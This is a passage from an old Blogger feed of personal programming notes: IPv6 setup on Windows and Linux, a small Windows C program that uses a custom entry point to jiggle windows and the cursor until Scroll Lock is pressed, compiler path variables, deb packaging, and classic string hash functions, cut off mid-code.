<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-11894000</id><updated>2012-02-17T10:57:57.805+08:00</updated><category term='linux ipv6'/><category term='Live Space'/><category term='windows ipv6'/><title type='text'>kpld's blog</title><subtitle type='html'>kpld的blog站点，发布关于kpld的工作、生活等文章，欢迎浏览</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>71</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-11894000.post-6325785868954134567</id><published>2011-06-28T11:41:00.001+08:00</published><updated>2011-06-28T11:43:12.028+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows ipv6'/><title type='text'>use ipv6 under Windows</title><content type='html'>1. install ipv6 protocol&lt;br /&gt;2. get ipv6 address from &lt;a href="http://gogonet.gogo6.com/profile/gogoCLIENT"&gt;gogoClient&lt;/a&gt;&lt;br /&gt;3. add sth in hosts followed by here:&lt;br /&gt;&lt;a href="http://blog.linggan.com/ipv6.html"&gt;http://blog.linggan.com/ipv6.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cqun.com/2010/03/google-ipv6-proxy.html"&gt;http://www.cqun.com/2010/03/google-ipv6-proxy.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-6325785868954134567?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/6325785868954134567/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=6325785868954134567' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6325785868954134567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6325785868954134567'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2011/06/use-ipv6-under-windows.html' title='use ipv6 under Windows'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-9215625124299004973</id><published>2011-06-28T11:37:00.001+08:00</published><updated>2011-06-28T11:38:52.825+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux ipv6'/><title type='text'>use ipv6 under linux</title><content type='html'>install miredo&lt;br /&gt;/etc/init.d/miredo-client start&lt;br /&gt;then, you can access: ipv6.google.com&lt;br /&gt;&lt;br /&gt;If you wang to across GFW, add something in hosts followed by here:&lt;br /&gt;http://www.ubuntusoft.com/under-ubuntu-using-ipv6-on-youtube-and-twitter-over-the-wall.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-9215625124299004973?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/9215625124299004973/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=9215625124299004973' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/9215625124299004973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/9215625124299004973'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2011/06/linux-ipv6.html' title='use ipv6 under linux'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-8169225155373169427</id><published>2010-09-03T10:43:00.004+08:00</published><updated>2010-09-30T11:04:29.139+08:00</updated><title type='text'>Entry Point of Windows application</title><content type='html'>&lt;pre&gt;&lt;span class="pre"&gt;&lt;span style="color: #3d85c6;"&gt;#include &lt;/span&gt;&lt;span style="color: #6aa84f;"&gt;&amp;lt;windows.h&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="comment"&gt;&lt;br /&gt;&lt;span style="color: #990000;"&gt;//自定义加载的库&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pre"&gt;&lt;span style="color: #3d85c6;"&gt;#pragma comment&lt;/span&gt;(lib,"&lt;span style="color: #6aa84f;"&gt;kernel32.lib&lt;/span&gt;")&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;#pragma comment&lt;/span&gt;(lib,"&lt;span style="color: #6aa84f;"&gt;shell32.lib&lt;/span&gt;")&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;#pragma comment&lt;/span&gt;(lib,"&lt;span style="color: #6aa84f;"&gt;msvcrt.lib&lt;/span&gt;")&lt;br /&gt;&lt;/span&gt;&lt;span class="comment" style="color: #990000;"&gt;//自定义函数入口&lt;br /&gt;&lt;/span&gt;&lt;span class="pre"&gt;&lt;span style="color: #3d85c6;"&gt;#pragma comment&lt;/span&gt;(linker, "&lt;span style="color: #6aa84f;"&gt;/ENTRY:EntryPoint&lt;/span&gt;")&lt;br /&gt;&lt;/span&gt;&lt;span class="comment"&gt;&lt;br /&gt;&lt;span style="color: #990000;"&gt;//自定义对齐方式&lt;br /&gt;//#pragma comment (linker, "/ALIGN:512")&lt;br /&gt;//#pragma comment(linker, "/FILEALIGN:512")&lt;br /&gt;// 优化选项&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="pre" style="color: #990000;"&gt;#pragma comment(linker, "/subsystem:windows")&lt;br /&gt;&lt;/span&gt;&lt;span class="comment"&gt;&lt;span style="color: #990000;"&gt;//#pragma comment(linker, "/opt:nowin98")&lt;br /&gt;//#pragma comment(linker, "/opt:ref") &lt;br /&gt;//#pragma comment (linker, "/OPT:ICF")&lt;br /&gt;// 合并区段&lt;br /&gt;//#pragma comment(linker, "/MERGE:.rdata=.data")&lt;br /&gt;//#pragma comment(linker, "/MERGE:.text=.data")&lt;br /&gt;//#pragma comment(linker, "/MERGE:.reloc=.data")&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;RECT Rect&lt;span class="operator"&gt;;&lt;/span&gt;&lt;span class="type"&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;int&lt;/span&gt;&lt;/span&gt; iScreenWidth&lt;span class="operator"&gt;;&lt;/span&gt;&lt;span class="type"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;int&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #3d85c6;"&gt; &lt;/span&gt;iScreenHeight&lt;span class="operator"&gt;;&lt;/span&gt;&lt;span class="type"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;void&lt;/span&gt;&lt;/span&gt; RoundWindow&lt;span class="operator"&gt;(&lt;/span&gt;HWND hWnd&lt;span class="operator"&gt;)&lt;br /&gt;{&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;GetWindowRect&lt;span class="operator"&gt;(&lt;/span&gt;hWnd&lt;span class="operator"&gt;, &amp;amp;&lt;/span&gt;Rect&lt;span class="operator"&gt;);&lt;/span&gt;&lt;span class="flow"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span class="operator"&gt; (&lt;/span&gt;Rect&lt;span class="operator"&gt;.&lt;/span&gt;left&lt;span class="operator"&gt; &amp;lt; -&lt;/span&gt;&lt;span class="int"&gt;50&lt;/span&gt;&lt;span class="operator"&gt; &amp;amp;&amp;amp;&lt;/span&gt; Rect&lt;span class="operator"&gt;.&lt;/span&gt;top&lt;span class="operator"&gt; &amp;gt;= -&lt;/span&gt;&lt;span class="int"&gt;50&lt;/span&gt;&lt;span class="operator"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Rect&lt;span class="operator"&gt;.&lt;/span&gt;top&lt;span class="operator"&gt; -=&lt;/span&gt;&lt;span class="int"&gt; 10&lt;/span&gt;&lt;span class="operator"&gt;;&lt;/span&gt;&lt;span class="flow"&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;else&lt;/span&gt; &lt;span style="color: #3d85c6;"&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span class="operator"&gt; (&lt;/span&gt;Rect&lt;span class="operator"&gt;.&lt;/span&gt;top&lt;span class="operator"&gt; &amp;lt; -&lt;/span&gt;&lt;span class="int"&gt;50&lt;/span&gt;&lt;span class="operator"&gt; &amp;amp;&amp;amp;&lt;/span&gt; Rect&lt;span class="operator"&gt;.&lt;/span&gt;right&lt;span class="operator"&gt; &amp;lt;=&lt;/span&gt; iScreenWidth&lt;span class="operator"&gt; +&lt;/span&gt;&lt;span class="int"&gt; 50&lt;/span&gt;&lt;span class="operator"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Rect&lt;span class="operator"&gt;.&lt;/span&gt;left&lt;span class="operator"&gt; +=&lt;/span&gt;&lt;span class="int"&gt; 10&lt;/span&gt;&lt;span class="operator"&gt;;&lt;/span&gt;&lt;span class="flow"&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;else if&lt;/span&gt;&lt;/span&gt;&lt;span class="operator"&gt; (&lt;/span&gt;Rect&lt;span class="operator"&gt;.&lt;/span&gt;right&lt;span class="operator"&gt; &amp;gt;&lt;/span&gt; iScreenWidth&lt;span class="operator"&gt; +&lt;/span&gt;&lt;span class="int"&gt; 50&lt;/span&gt;&lt;span class="operator"&gt; &amp;amp;&amp;amp;&lt;/span&gt; Rect&lt;span class="operator"&gt;.&lt;/span&gt;bottom&lt;span class="operator"&gt; &amp;lt;=&lt;/span&gt; iScreenHeight&lt;span class="operator"&gt; +&lt;/span&gt;&lt;span class="int"&gt; 50&lt;/span&gt;&lt;span class="operator"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Rect&lt;span class="operator"&gt;.&lt;/span&gt;top&lt;span class="operator"&gt; +=&lt;/span&gt;&lt;span class="int"&gt; 10&lt;/span&gt;&lt;span class="operator"&gt;;&lt;/span&gt;&lt;span class="flow"&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;else&lt;/span&gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;Rect&lt;span class="operator"&gt;.&lt;/span&gt;left&lt;span class="operator"&gt; -=&lt;/span&gt;&lt;span class="int"&gt; 10&lt;/span&gt;&lt;span class="operator"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SetWindowPos&lt;span class="operator"&gt;(&lt;/span&gt;hWnd&lt;span class="operator"&gt;,&lt;/span&gt;&lt;span class="int"&gt; 0&lt;/span&gt;&lt;span class="operator"&gt;,&lt;/span&gt; Rect&lt;span class="operator"&gt;.&lt;/span&gt;left&lt;span class="operator"&gt;,&lt;/span&gt; Rect&lt;span class="operator"&gt;.&lt;/span&gt;top&lt;span class="operator"&gt;,&lt;/span&gt;&lt;span class="int"&gt; 0&lt;/span&gt;&lt;span class="operator"&gt;,&lt;/span&gt;&lt;span class="int"&gt; 0&lt;/span&gt;&lt;span class="operator"&gt;,&lt;/span&gt; SWP_NOSIZE&lt;span class="operator"&gt; |&lt;/span&gt; SWP_NOZORDER&lt;span class="operator"&gt;);&lt;br /&gt;}&lt;/span&gt;&lt;span class="type"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;void&lt;/span&gt;&lt;/span&gt; EntryPoint&lt;span class="operator"&gt;()&lt;br /&gt;{&lt;/span&gt;&lt;br /&gt;GetWindowRect&lt;span class="operator"&gt;(&lt;/span&gt;GetDesktopWindow&lt;span class="operator"&gt;(), &amp;amp;&lt;/span&gt;Rect&lt;span class="operator"&gt;);&lt;/span&gt;&lt;br /&gt;iScreenWidth&lt;span class="operator"&gt; =&lt;/span&gt; Rect&lt;span class="operator"&gt;.&lt;/span&gt;right&lt;span class="operator"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;iScreenHeight&lt;span class="operator"&gt; =&lt;/span&gt; Rect&lt;span class="operator"&gt;.&lt;/span&gt;bottom&lt;span class="operator"&gt;;&lt;/span&gt;&lt;span class="flow"&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;while&lt;/span&gt;&lt;/span&gt;&lt;span class="operator"&gt; (!(&lt;/span&gt;GetKeyState&lt;span class="operator"&gt;(&lt;/span&gt;VK_SCROLL&lt;span class="operator"&gt;) &amp;amp;&lt;/span&gt;&lt;span class="int"&gt; 1&lt;/span&gt;&lt;span class="operator"&gt;))&lt;br /&gt;{&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;RoundWindow&lt;span class="operator"&gt;(&lt;/span&gt;GetForegroundWindow&lt;span class="operator"&gt;());&lt;/span&gt;&lt;br /&gt;RoundWindow&lt;span class="operator"&gt;(&lt;/span&gt;GetTopWindow&lt;span class="operator"&gt;(&lt;/span&gt;NULL&lt;span class="operator"&gt;));&lt;/span&gt;&lt;br /&gt;SetCursorPos&lt;span class="operator"&gt;(&lt;/span&gt;rand&lt;span class="operator"&gt;() %&lt;/span&gt; iScreenWidth&lt;span class="operator"&gt;,&lt;/span&gt; rand&lt;span class="operator"&gt;() %&lt;/span&gt; iScreenHeight&lt;span class="operator"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sleep&lt;span class="operator"&gt;(&lt;/span&gt;&lt;span class="int"&gt;20&lt;/span&gt;&lt;span class="operator"&gt;);&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;ExitProcess&lt;span class="operator"&gt;(&lt;/span&gt;&lt;span class="int"&gt;0&lt;/span&gt;&lt;span class="operator"&gt;);&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-8169225155373169427?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/8169225155373169427/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=8169225155373169427' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8169225155373169427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8169225155373169427'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/09/entry-point-of-windows-application.html' title='Entry Point of Windows application'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-3513915289916948484</id><published>2010-08-20T23:38:00.000+08:00</published><updated>2010-09-30T10:40:28.004+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Include path and link path environment variables</title><content type='html'>&lt;strong&gt;C_INCLUDE_PATH&lt;br /&gt;&lt;/strong&gt;&lt;strong&gt;CPLUS_INCLUDE_PATH&lt;br /&gt;&lt;/strong&gt;&lt;strong&gt;LIBRARY_PATH&lt;br /&gt;&lt;/strong&gt;&lt;strong&gt;CPATH&lt;/strong&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-3513915289916948484?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/3513915289916948484/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=3513915289916948484' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3513915289916948484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3513915289916948484'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/08/include-path-and-link-path-environment.html' title='Include path and link path environment variables'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-2560687292767503735</id><published>2010-08-19T23:52:00.000+08:00</published><updated>2010-09-30T10:40:27.989+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>deb package generation</title><content type='html'>1. tar xvf &amp;lt;PackageName&amp;gt;_&amp;lt;Version&amp;gt;.tar.gz&lt;br /&gt;2. cd &amp;lt;PackageName&amp;gt;_&amp;lt;Version&amp;gt;&lt;br /&gt;3. dh_make ../&amp;lt;PackageName&amp;gt;_&amp;lt;Version&amp;gt;.tar.gz&lt;br /&gt;4. modify file debian/control&lt;br /&gt;5. dpkg-buildpackage,then generate ../&amp;lt;PackageName&amp;gt;_&amp;lt;Version&amp;gt;_arch.deb &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-2560687292767503735?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/2560687292767503735/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=2560687292767503735' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2560687292767503735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2560687292767503735'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/08/deb-package-generation.html' title='deb package generation'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-5160430963817733533</id><published>2010-08-04T17:58:00.000+08:00</published><updated>2010-09-30T10:40:27.968+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Hash</title><content type='html'>&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font color="#008000"&gt;&lt;font face="Courier New, monospace"&gt;//&lt;br/&gt;RS Hash Function&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;&lt;font color="#0000ff"&gt;unsigned&lt;br/&gt;int&lt;/font&gt; RSHash(&lt;font color="#0000ff"&gt;char&lt;/font&gt; *str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; b = 378551;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; a = 63689;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; hash = 0;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;while&lt;/font&gt;&lt;br/&gt;(*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		hash&lt;br/&gt;= hash * a + (*str++);&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		a&lt;br/&gt;*= b;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;br/&gt;(hash &amp;amp; 0x7FFFFFFF);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font color="#008000"&gt;&lt;font face="Courier New, monospace"&gt;//&lt;br/&gt;JS Hash Function&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;&lt;font color="#0000ff"&gt;unsigned&lt;br/&gt;int&lt;/font&gt; JSHash(&lt;font color="#0000ff"&gt;char&lt;/font&gt; *str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; hash = 1315423911;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;while&lt;/font&gt;&lt;br/&gt;(*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		hash&lt;br/&gt;^= ((hash &amp;lt;&amp;lt; 5) + (*str++) + (hash &amp;gt;&amp;gt; 2));&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;	&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;br/&gt;(hash &amp;amp; 0x7FFFFFFF);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font color="#008000"&gt;&lt;font face="Courier New, monospace"&gt;//&lt;br/&gt;P. J. Weinberger Hash Function&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;&lt;font color="#0000ff"&gt;unsigned&lt;br/&gt;int&lt;/font&gt; PJWHash(&lt;font color="#0000ff"&gt;char&lt;/font&gt; *str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; BitsInUnigned&lt;font color="#0000ff"&gt;Int&lt;/font&gt;&lt;br/&gt;= (&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt; &lt;font color="#0000ff"&gt;int&lt;/font&gt;)(sizeof(&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt;) * 8);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; ThreeQuarters    = (&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt;)((BitsInUnigned&lt;font color="#0000ff"&gt;Int&lt;/font&gt;&lt;br/&gt; * 3) / 4);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; OneEighth        = (&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt;)(BitsInUnigned&lt;font color="#0000ff"&gt;Int&lt;/font&gt;&lt;br/&gt;/ 8);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; HighBits         = (&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt;)(0xFFFFFFFF) &amp;lt;&amp;lt;&lt;br/&gt;(BitsInUnigned&lt;font color="#0000ff"&gt;Int&lt;/font&gt; - 